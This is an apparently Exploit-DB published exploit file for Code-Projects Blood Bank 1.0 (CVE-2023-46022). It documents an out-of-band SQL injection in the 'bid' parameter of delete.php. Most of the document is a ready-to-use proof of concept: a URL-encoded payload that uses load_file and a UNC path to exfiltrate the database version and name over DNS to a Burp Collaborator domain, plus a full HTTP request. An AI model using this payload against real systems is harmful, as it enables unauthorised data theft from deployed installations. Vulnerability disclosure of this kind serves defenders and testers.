a24ba3c94b
7 changes to exploits/shellcodes/ghdb HNAS SMU 14.8.7825 - Information Disclosure Blood Bank 1.0 - 'bid' SQLi CSZCMS v1.3.0 - SQL Injection (Authenticated) Employee Management System 1.0 - 'admin_id' SQLi Simple Task List 1.0 - 'status' SQLi Teacher Subject Allocation Management System 1.0 - 'searchdata' SQLi
45 lines
No EOL
1.9 KiB
Text
45 lines
No EOL
1.9 KiB
Text
# Exploit Title: Blood Bank 1.0 - 'bid' SQLi
|
|
# Date: 2023-11-15
|
|
# Exploit Author: Ersin Erenler
|
|
# Vendor Homepage: https://code-projects.org/blood-bank-in-php-with-source-code
|
|
# Software Link: https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip
|
|
# Version: 1.0
|
|
# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0
|
|
# CVE : CVE-2023-46022
|
|
|
|
-------------------------------------------------------------------------------
|
|
|
|
# Description:
|
|
|
|
The 'bid' parameter in the /delete.php file of Code-Projects Blood Bank V1.0 is susceptible to Out-of-Band SQL Injection. This vulnerability stems from inadequate protection mechanisms, allowing attackers to exploit the parameter using Burp Collaborator to initiate OOB SQL injection attacks. Through this technique, an attacker can potentially extract sensitive information from the databases.
|
|
|
|
Vulnerable File: /delete.php
|
|
|
|
Parameter Name: bid
|
|
|
|
# Proof of Concept:
|
|
----------------------
|
|
|
|
1. Intercept the request to cancel.php via Burp Suite
|
|
2. Inject the payload to the vulnerable parameters
|
|
3. Payload: 3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.collaborator-domain\\a.txt')))%2b'
|
|
4. Example request for bid parameter:
|
|
---
|
|
|
|
GET /bloodbank/file/delete.php?bid=3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.domain.oastify.com\\a.txt')))%2b' HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate, br
|
|
Connection: close
|
|
Referer: http://localhost/bloodbank/bloodinfo.php
|
|
Cookie: PHPSESSID=<some-cookie-value>
|
|
Upgrade-Insecure-Requests: 1
|
|
Sec-Fetch-Dest: document
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-User: ?1
|
|
|
|
---
|
|
5. Database and version information is seized via Burp Suite Collaborator |